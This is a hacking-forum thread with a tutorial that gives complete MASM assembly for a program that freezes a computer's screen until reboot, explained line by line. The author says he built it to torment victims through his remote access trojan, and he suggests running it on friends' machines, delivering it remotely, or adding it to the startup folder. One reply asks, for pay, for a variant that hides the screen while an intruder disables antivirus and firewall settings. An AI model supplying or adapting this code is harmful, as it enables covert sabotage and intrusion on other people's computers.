

Forum:[Hack Forums](#)

Thread: [\[TUT\] Freeze Screen - Tutorial - 2 \[TUT\]](#)

-Base- - July 16, 2012, 7:46 pm

Hey everyone, so I'm here again with another tutorial of a program I put together with a few code snippets from examples which allows you to freeze someones screen and not be able to unfreeze it unless they restart their computer. The reason I made this was to be used with my RAT me and Whom made and to screw with the victim :D

Requirments

Before we get started you need to be using MASM which you can find on <http://masm32.com/>. Also I'm not going to be explaining some of the basic things that we went over in my first tutorial like the first three lines of the code coming up and how to declare variables.

So Lets Get Started

So just like the first tutorial I'm going to post the code and go over it line by line.

Code .486

.model flat, stdcall

option casemap :none

include \masm32\include\windows.inc

include \masm32\include\masm32.inc

include \masm32\include\gdi32.inc

include \masm32\include\user32.inc

include \masm32\include\kernel32.inc

include \masm32\macros\macros.asm

includelib \masm32\lib\masm32.lib

includelib \masm32\lib\gdi32.lib

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

.code

start:

main proc

LOCAL swid :DWORD

LOCAL shgt :DWORD

LOCAL hDC :DWORD

LOCAL cDC :DWORD

LOCAL hScr :DWORD

LOCAL hBmp :DWORD

LOCAL hold :DWORD

mov hScr, 0

mov hDC, rv(GetDC,hScr)

mov swid, rv(GetSystemMetrics,SM_CXSCREEN)

mov shgt, rv(GetSystemMetrics,SM_CYSCREEN)

```

mov hBmp, rv(CreateCompatibleBitmap,hDC,swid,shgt)
mov cDC, rv(CreateCompatibleDC,hDC)
mov hOld, rv(SelectObject,cDC,hBmp)

```

```

invoke BitBlt,cDC,0,0,swid,shgt,hDC,0,0,SRCCOPY

```

@@:

```

invoke BitBlt,hDC,0,0,swid,shgt,cDC,0,0,SRCCOPY
jmp @B

```

```

invoke SendMessage,0,WM_PAINT,hDC,0

```

```

invoke DeleteObject,hBmp
invoke SelectObject,cDC,hOld
invoke DeleteDC,cDC
invoke ReleaseDC,hScr,hDC

```

```

call main

```

```

main endp

```

end startSo lets start off with the first 3 lines!

Code .486

```

.model flat, stdcall

```

option casemap :noneFirst we set the instructions we will be using to Intel 80486 and the memory model to flat. We also let it know we will be using parameters and that it will be case sensitive.

Then we have our imports which just imports files to use the code and functions.

After that we start the coding:

```

Code .code

```

```

start:

```

```

main proc

```

```

LOCAL swid :DWORD
LOCAL shgt :DWORD
LOCAL hDC :DWORD
LOCAL cDC :DWORD
LOCAL hScr :DWORD
LOCAL hBmp :DWORD

```

```

LOCAL hOld :DWORDSo what we do here is set our ".code" directive and then the start label.

```

Then we create a new function on the line that says "main proc" and it has no parameters.

Then we declare 7 local variables as the type DWORD which is a 32-bit unsigned integer and stands for double word. (Two words = 4 bytes = 8 nybbles = 32 bits)

So moving on we have this:

```

Code mov hScr, 0

```

```

mov hDC, rv(GetDC,hScr)
mov swid, rv(GetSystemMetrics,SM_CXSCREEN)
mov shgt, rv(GetSystemMetrics,SM_CYSCREEN)
mov hBmp, rv(CreateCompatibleBitmap,hDC,swid,shgt)
mov cDC, rv(CreateCompatibleDC,hDC)
mov hOld, rv(SelectObject,cDC,hBmp)

```

So this might look absolutely crazy for you but once I

explain it you might be able to understand it a little bit more. Overall what we are doing is getting the screen, screen information, and the things that let us draw on the screen. So at the top we have:

```
Code mov hScr, 0
      mov hDC, rv(GetDC,hScr)
      mov swid, rv(GetSystemMetrics,SM_CXSCREEN)
      mov shgt, rv(GetSystemMetrics,SM_CYSCREEN)
```

What we are doing here is getting the screen, the device context, and the screen width. So first we have "mov hScr, 0" which sets the screen handle to 0 and gives us the whole screen and not just a window. The second line we have "mov hDC, rv(GetDC,hScr)" and what this is doing is getting the device context handle. We use the GetDC function with the parameter of the screen handle and it returns the device context of that window and in this case we set it, using the mov instruction, to what it returns. Now you're probably asking what a device context is. Well what it is is a structure which holds all of the graphics information and lets us draw to the screen. The next line we have "mov swid, rv(GetSystemMetrics,SM_CXSCREEN)" and what this does is it calls the function GetSystemMetrics which takes the parameter of an integer which specifies what to return. There are constant values though that make more sense and our set to those integers. The one that we use is "SM_CXSCREEN" which returns the width in pixels. We then set it to the local variable swid using the mov instruction again. Then on the next line we do the same thing but we get the screen height instead and we set the parameter to "SM_CYSCREEN" and set the return value to "shgt"

So those first four lines are done with. Lets move on:

```
Code mov hBmp, rv(CreateCompatibleBitmap,hDC,swid,shgt)
      mov cDC, rv(CreateCompatibleDC,hDC)
      mov hOld, rv(SelectObject,cDC,hBmp)
```

So on the first line we use the function CreateCompatibleBitmap and what that does is it creates a bitmap using the Device Context and the width and height specified. We set the variable hBmp to the what the function returned. On the second line we use the function CreateCompatibleDC which really just copies a Device Context and returns it in simple terms. We send in the handle on the Device Context we got earlier which is hDC as the parameter. The last line uses the SelectObject function which sets the current object being used in the Device Context to whatever the second parameter is, in this case it is the bitmap we created in the first line. So that is it for this section.. moving on!

The next part is where it gets a little bit more interesting:

```
Code invoke BitBlt,cDC,0,0,swid,shgt,hDC,0,0,SRCCOPY
@@:
```

```
      invoke BitBlt,hDC,0,0,swid,shgt,cDC,0,0,SRCCOPY
      jmp @B
```

So on the first line we draw to the picture to the screen so that the screen isn't black when this runs. You can try it yourself. On the next line we invoke a function called BitBlt which really just draws a rectangle on the screen with the given pixels which in this case will come out to be what are screen looks like to give the impression that it is frozen. So it takes a few parameters.. well a bunch. First it takes in the Device Context which we set in the variable hDC earlier and this is the destination Device Context parameter. The second parameter is the x coordinate where the rectangle starts and the third is the y coordinate. We want it to start at the very top left hence 0 and 0 as the parameters. The fourth parameter is the width of the rectangle and the fifth is the height of the rectangle and those are set to the width and height of our screen which we got at the beginning. The sixth is the source Device Context and we set it to cDC which is the copy of the Device Context we got earlier. The seventh and eighth are the x and y coordinates again inside of the source Device Context, once again 0 and 0. The last parameter is a constant value that tells how to combine the colors of the source and destination rectangle and we set it to SRCCOPY which copies the source rectangle to the destination. Finally we sleep for .01 seconds and then jump back up to the top and do it all again so that it keeps putting the picture of the screen on the screen and makes it seem like the screen is frozen.

To Run It:

To run it go to Project->Build All and wait for it to build. Then you should get no errors. After that go to Project->Run Program and the screen should freeze up and force you to restart your computer.

Things You Can Do With This

If you want to mess with your friends or something you can put this on their computer and run it. You can also use this with a RAT and download it remotely onto the victim's computer. And if you REALLY hate someone you can put this into their start up folder so whenever the computer runs this happens. DONT DO THIS TO YOURSELF.

We Are Done!

You have successfully read through this long tutorial and have created a screen freezer program. If you want to download the source and .exe file you can get it below! Thanks for reading everyone!

Source: <http://adf.ly/Ao4Bq>

~Baseball435

Pe?cil - May 24, 2014, 2:21 am

Hi there,

Thanks for this thread.

I would like to know something. Is there a way to freeze the screen of someone BUT be able to see and use his computer ?

=> I have a rat on a remote PC and I would like be able to configure things without the person can see it (settings for her AV, firewall etc for example). I think it can't work with your advices yet :

- Freeze the screen : The person see his desktop, nothing special for example, nothing move
- In same time I see his desktop but I have the control and can open things (I use remote Desktop with Darkcomet, I don't know if there is a way to do that)

Do you know what I mean ?

I can pay you for this projet if you want, obviously.

Have a nice day and thanks for all the others advices.

Masm4ever - May 24, 2014, 6:49 am

It works, kind of, although I managed to get out of it without booting. 100% cpu usage, of course. All in all, an ugly hack.